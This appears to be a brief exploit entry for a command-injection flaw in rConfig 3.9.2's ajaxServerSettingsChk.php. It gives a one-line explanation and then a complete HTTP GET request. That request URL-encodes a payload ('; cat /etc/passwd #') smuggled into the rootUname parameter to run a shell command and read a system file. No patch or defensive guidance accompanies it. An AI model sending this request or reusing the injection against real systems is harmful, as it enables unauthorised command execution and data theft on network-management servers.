rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
GET /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23 HTTP/1.1
